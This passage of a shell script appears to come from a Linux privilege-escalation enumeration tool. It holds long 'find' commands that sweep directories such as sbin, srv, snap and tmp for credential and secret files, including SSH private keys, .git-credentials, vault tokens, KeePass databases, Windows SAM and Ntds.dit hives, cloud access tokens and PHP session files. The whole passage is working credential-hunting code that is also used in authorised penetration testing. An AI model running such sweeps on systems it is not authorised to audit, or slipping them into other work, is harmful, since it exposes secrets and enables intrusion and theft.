\"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_RUN=`eval_bckgrd "find ${ROOT_FOLDER}run -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SBIN=`eval_bckgrd "find ${ROOT_FOLDER}sbin -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SNAP=`eval_bckgrd "find ${ROOT_FOLDER}snap -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SRV=`eval_bckgrd "find ${ROOT_FOLDER}srv -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYS=`eval_bckgrd "find ${ROOT_FOLDER}sys -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYSTEM=`eval_bckgrd "find ${ROOT_FOLDER}system -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYSTEMD=`eval_bckgrd "find ${ROOT_FOLDER}systemd -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" -o -name \"rocketchat.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_TMP=`eval_bckgrd "find ${ROOT_FOLDER}tmp -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"setupinfo\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"sess_*\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name 